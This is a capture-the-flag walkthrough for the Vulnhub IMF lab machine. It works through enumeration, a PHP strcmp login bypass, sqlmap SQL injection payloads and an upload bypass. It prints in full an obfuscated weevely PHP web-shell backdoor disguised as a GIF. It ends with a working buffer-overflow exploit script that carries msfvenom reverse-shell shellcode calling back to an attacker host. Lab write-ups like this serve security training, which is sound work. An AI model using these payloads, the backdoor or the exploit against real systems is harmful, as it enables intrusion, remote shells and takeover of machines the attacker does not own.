Vulnhub IMF
Vulnhub IMF
Enumeration
Let’s start by doing a nmap scan and see what we get.
nmap -Pn -sS -sC -vv -T 4 -p- 192.168.1.121
We did not get much but a web server on the port 80
Even nikto
doesn’t have much information
Web server
Once we’re in the web page, there’s little information found in the source code
of the pages.
So let’s start by that.
There’s suspicious name file for some scripts like
<script src="js/ZmxhZzJ7YVcxbVl.js"></script>
<script src="js/XUnRhVzVwYzNS.js"></script>
<script src="js/eVlYUnZjZz09fQ==.min.js"></script>
Once you get in they seems legit, but i don’t know enough about javascript.
A little bit further there’s another comment that says
<!-- flag1{YWxsdGhlZmlsZXM=} -->
It looks like base 64 because of the padding
at the end. So let’s try to decode it.
echo YWxsdGhlZmlsZXM= | base64 --decode
allthefiles
There’s an actual string inside. allthefiles…
Let’s look at all the files. Like i notice before we got some weird names for
the javascript files. The string that ends by two equals signs is something
very base64. So by trying to decode all the strings, i noticed that the firt
one contains a word that starts by flag2.
echo "ZmxhZzJ7YVcxbVl" | base64 --decode
flag2{aW1mYbase64: invalid input
So i just added all the file names and we got something.
echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ" | base64 --decode
flag2{aW1mYWRtaW5pc3RyYXRvcg==}base64: invalid input
That looks like more base64
echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 --decode
imfadministrator
Login page
So after all that we got a username ? But we don’t have an admin page.
Actually it was a page. We got a login screen. After trying all the possible
key words on the website and running through multiple fuzzlist for mysql i was
stumped. I didn’t know what i was looking for. The only thing i found was a
good username which was the email of the guy who wrote the comment on the page.
So i had to go look for a link because after a few hours i didn’t a single idea
of what i could do. So what i found was that it was linked to a function of php
called strcmp.
A quick google search show us how we can break it and it would always send
true. So that made stuff really simple…
So with burp i just had to send the right username and pass[] to break it.
So the body would like this
user=rmichaels&pass[]
We’re lead into another page with a flag
Flag3{Y29udGludWVUT2Ntcw==}
It looks like more base64. Let’s decode it
echo Y29udGludWVUT2Ntcw== | base64 --decode
continueTOcms
We’ll click in the link.
CMS
We’re in the cms that has a few different pages. We got a home, upload and
disavowed. After looking through the source codes, i look at the url and it had
the typical lfi/rfi/traversal pattern. So i tried different combination until i
end up with a mysql error. There’s a database that fetchs the names.
Let’s bring our friend sqlmap. I’ll copy the cookie from burp to attach it to sqlmap
sqlmap --cookie="security=low; PHPSESSID=33u7o68nm2611737tm228lo257" -u
http://192.168.1.121/imfadministrator/cms.php?pagename=upload
I’ll try to see if the page is vulnerable to sql injections.
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: pagename (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pagename=upload' AND 2055=2055 AND 'vkLY'='vkLY
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: pagename=upload' AND (SELECT 3848 FROM(SELECT COUNT(*),CONCAT(0x7176626b71,(SELECT (ELT(3848=3848,1))),0x716a6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'UQSX'='UQSX
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: pagename=upload' AND SLEEP(5) AND 'duqF'='duqF
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: pagename=-7042' UNION ALL SELECT CONCAT(0x7176626b71,0x66524b4256484c6149767461584559444f6468537259456b7a4a7355695257526942785654546f62,0x716a6a7871)#
---
We got a few hits. Let’s bring up the tables and dump them.
sqlmap --cookie="security=low; PHPSESSID=33u7o68nm2611737tm228lo257" -u
http://192.168.1.121/imfadministrator/cms.php?pagename=upload --table --dump
This will dump the tables. If we got fetch where he output them, we see that there’s an additional page hidden.
id,pagename,pagedata
1,upload,Under Construction.
2,home,Welcome to the IMF Administration.
3,tutorials-incomplete,"Training classrooms available. <br /><img src=""./images/whiteboard.jpg""><br /> Contact us for training."
4,disavowlist,"<h1>Disavowed List</h1><img src=""./images/redacted.jpg""><br /><ul><li>*********</li><li>****** ******</li><li>*******</li><li>**** ********</li></ul><br />-Secretary"
tutorials-incomplete. Let’s append it to pagename= .
The page has an image with a qr code.
We’ll install zbar-tools and feed a cropped image that only contains the qr
code.
zbarimg whiteboard.jpg
QR-Code:flag4{dXBsb2Fkcjk0Mi5waHA=}
scanned 1 barcode symbols from 1 images in 0 seconds
Another base64 flag.
echo dXBsb2Fkcjk0Mi5waHA= | base64 --decode
uploadr942.php
Another filename, this time we get an upload form.
We’ll generate a weevely backdoor and upload it.
weevely generate toor me.php
And it looks like they’re looking at the file type. Let’s rename it to me.php.jpg. We’re now getting invalid file data. Interesting.
So i tried upload an image that had the reserve shell code in the comment it
didn’t work. I tried uploading an image that had the code in base64 with eval()
and it also didn’t work. I tried a whole lot of things but nothing was working.
A friend told me to try gif and yeah… that worked.
The only thing i had to do was to add GIF in on the top of the backdoor
generated by weevely. It looked llike this.
GIF
<?php
$L='K$_SE{KSSION;{K$ss="s{Kub{Kstr";$s{Kl="strtolow{Ker"{K;${Ki={K$m[1][0].$m[1][1{K];$h={K$sl($ss(m{Kd5';
$D='($i.{K$kh),0{K,3){K);$f=$sl({K$s{Ks(md5($i.$k{K{Kf),0,3));$p{K="";for{K(${Kz=1;$z<{K{Kcount($m[1]){K;';
$V='Krray("/{K","+"),{K$ss(${Ks[$i{K],0,${Ke))),$k))){K;$o={Kob_{Kget_co{Kntents({K);ob{K_end{K_clean({K)';
$y=';$d=base6{K4_en{K{Kcode(x(gzco{Kmpress($o),${Kk));{Kp{Krint("<$k>$d<{K/$k>{K");@s{Kession_{Kde{Kstroy();}}}}';
$S=str_replace('L','','cLreLateL_fuLLnctLion');
$t='t{K();@ev{Kal{K(@gzu{Kncom{Kpress(@x(@b{Kas{Ke64_de{Kco{Kde(pre{Kg_{Kreplace(array("{K/_/","/-/"),a{';
$P='$_SE{KRVER;$rr{K=@$r["HTTP{K_RE{KFERER"{K];$ra=@$r[{K"HTTP_{KA{KCCEPT_{KLANGUAGE"];if{K($rr&&{K${Kra){';
$N='K{$u=p{Karse_url(${Krr);{Kpar{Kse_str{K($u["quer{Ky{K"],$q);$q=array_v{Kalu{K{Kes($q);preg_ma{Ktch_{K';
$J='{K$kh="7b24";$k{K{Kf="afc8";fu{Kncti{Kon x($t{K,$k){$c=str{K{Klen($k);$l=s{Ktrl{Ken($t);{K$o="";f{Kor($i{K=0;$i<';
$I='${Kl;){for{K($j=0;{K($j<${Kc&&$i{K<$l{K){K;$j+{K{K{K+,$i++){$o.=$t{$i}^$k{$j};}}ret{Kurn $o{K{K;}$r={K';
$x='$z{K{K++)$p.=$q[$m[2][$z{K]];if(s{Ktrpos({K{K$p,$h)=={K{K=0){$s[$i]="";${K{Kp=$ss($p{K,3);}if(arr{Ka{Ky_';
$j='a{Kll("/([\\w]){K{K[\\w-]+(?{K:;q=0.([\\d{K]))?,{K?/",$ra,$m){K;if({K$q&{K&$m){@sessi{Ko{Kn_start(){K;$s=&{';
$B='ke{Ky_exists($i{K{K,$s)){${Ks[$i].=$p;{K$e=str{K{Kpos($s[$i],${Kf);if($e){K{$k={K$kh.$kf{K{K;ob_star';
$c=str_replace('{K','',$J.$I.$P.$N.$j.$L.$D.$x.$B.$t.$V.$y);
$z=$S('',$c);$z();
?>
Using burp, i looked at the server response and it contain the name of the file in comments.
<!-- 3eda6d5666d5 --><form id="Upload" action="" enctype="multipart/form-data"
method="post">
The only thing left was to try to find the folder where it was being uploaded.
It didn’t take too long to find uploads
Then i tried connecting via weevely
weevely http://192.168.1.121/imfadministrator/uploads/3eda6d5666d5.gif toor
And we’re in.
Enumeration
So we’re in with id
www-data. Not surprising. Let’s use the command
:audit_filesystem to check important files.
Nothing out of the ordinary.
If you look in the uploads folder we got a file containing the word flag.
cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}
Another base64 encode.
echo YWdlbnRzZXJ2aWNlcw= | base64 -d
agentservicesbase64: invalid input
agentservices is the string. First thing i did was to
find / -name agent
Which lead to the folder /etc/xinetd.d/
In that folder there was an agent file with the contents
# default: on
# description: The agent server serves agent sessions
# unencrypted agentid for authentication.
service agent
{
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/local/bin/agent
log_on_failure += USERID
disable = no
port = 7788
}
So we got a file.
file /usr/local/bin/agent
/usr/local/bin/agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=444d1910b8b99d492e6e79fe2383fd346fc8d4c7, not stripped
If we run the strings command on the agent file we can see that we’re in the right path. There’s IMF stuff inside.
strings /usr/local/bin/agent
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID :
Invalid Agent ID
Login Validated
Exiting...
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection:
In the same folder that was a file called access_codes
cat access_codes
SYN 7482,8279,9467
Earlier i ran a ps -aux and googled most of the service that were running. The
one that is sticking out now is knock.
ps -aux | grep knock
root 979 1.5 0.2 8752 2200 ? Ss 19:59 0:57
/usr/sbin/knockd -d
Knock is use to hide ports and opens them if a particular order of ports are
solicitated.
So we noticed that we only had one port open when we did our first scan with
nmap, we’ll try the sequence in the access_codes file.
for x in 7482 8279 9467; do sudo nmap -sS 192.168.1.121 -p $x --max-retries
0;done
ncat -nv 192.168.1.121 -7788
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Let’s move to the binary now.
GDB
Let’s transfer the file to our kali machine and load it up in gdb. I’m using peda script to aid me. The first i do is check the security on the file
checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
Seems good, let’s send him some input.
There’s nothing that seems to go through.
I decided to see what are the systemcalls that agent does.
I transfered a copy of agent on my local computer and ran it with strace and
ltrace. ltrace gave us what we need it.
ltrace ./agent
bc_start_main(0x80485fb, 1, 0xff9dd844, 0x8048970 <unfinished ...>
setbuf(0xf7708d60, 0)
= <void>
asprintf(0xff9dd778, 0x80489f0, 0x2ddd984, 0xf756e0ec)
= 8
puts(" ___ __ __ ___ " ___ __ __ ___
)
= 18
puts(" |_ _| \\/ | __| Agent" |_ _| \/ | __| Agent
)
= 25
puts(" | || |\\/| | _| Reporting" | || |\/| | _| Reporting
) =
29
puts(" |___|_| |_|_| System\n" |___|_| |_|_| System
) =
27
printf("\nAgent ID : "
Agent ID : )
= 12
fgets(12345
"12345\n", 9, 0xf77085a0)
= 0xff9dd77e
strncmp("12345\n", "48093572", 8)
= -1
puts("Invalid Agent ID "Invalid Agent ID
)
= 18
+++ exited (status 254) +++
The important part is
strncmp("12345\n", "48093572", 8)
Agent tries to compare the first 8 characters that we input and sees if it matches 48093572. So if we try login in with 48093572.
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
More choice, let’s try fuzzing them. After trying a bunch of them the third one seem to fit what we want to do.
Using gdb-peda
pattern_create 500
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A
r
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3
Enter report update:AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A
[----------------------------------registers-----------------------------------]
EAX: 0xffffd134 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASA4\321\377\377TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fa8870 --> 0x0
ESI: 0xf7fa7000 --> 0x1b1db0
EDI: 0xf7fa7000 --> 0x1b1db0
EBP: 0x41417241 ('ArAA')
ESP: 0xffffd1e0 ("AAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%"...)
EIP: 0x74414156 ('VAAt')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
pattern offset 0x74414156
1950433622 found at offset: 168
We can see that the EIP was overwritten by VAAt, we used the command pattern
offset with the memory location to find what’s the offset.
Let’s now find a good return adress
jmpcall esp
Not found
Well that sucks. If we look at the registers we can see that EAX is pointing directly to the top of the stack.
We’ll look for for call instead
jmpcall
0x8048563 : call eax
0x804859d : call edx
0x80485f0 : call edx
We’ll take the first one. We’ll also need to create a payload with msfvenom.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.118 LPORT=1234 -f python -b "\x00\x0a\x0d"
We’ll add the return address as "\x63\x85\x04\x08\n"
and the shellcode
generated by msfvenom in the script. I lost like an hour trying to figure why
the shell wasn’t appearing because i forgot a “\n” at the end of the buffer.
The final script would look something like this
#!/usr/bin/python
import socket
retadd = "\x63\x85\x04\x08\n"
buf = ""
buf += "\xdb\xd7\xb8\xe1\x78\x39\xf9\xd9\x74\x24\xf4\x5b\x31"
buf += "\xc9\xb1\x12\x83\xeb\xfc\x31\x43\x13\x03\xa2\x6b\xdb"
buf += "\x0c\x15\x57\xec\x0c\x06\x24\x40\xb9\xaa\x23\x87\x8d"
buf += "\xcc\xfe\xc8\x7d\x49\xb1\xf6\x4c\xe9\xf8\x71\xb6\x81"
buf += "\x3a\x29\x49\x27\xd3\x28\x4a\xc3\xf1\xa4\xab\x7b\x93"
buf += "\xe6\x7a\x28\xef\x04\xf4\x2f\xc2\x8b\x54\xc7\xb3\xa4"
buf += "\x2b\x7f\x24\x94\xe4\x1d\xdd\x63\x19\xb3\x4e\xfd\x3f"
buf += "\x83\x7a\x30\x3f"
buffer= buf + "A" * (168-(len(buf))) + retadd
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.121',7788))
#s.connect((ip,7788))
s.recv(1024)
s.send("48093572\n")
s.recv(1024)
s.send("3\n")
s.recv(1024)
s.send(buffer)
s.recv(1024)
s.close()
And that should be it, just setup a listener on whatever machine that is suppose to receive the reverse shell.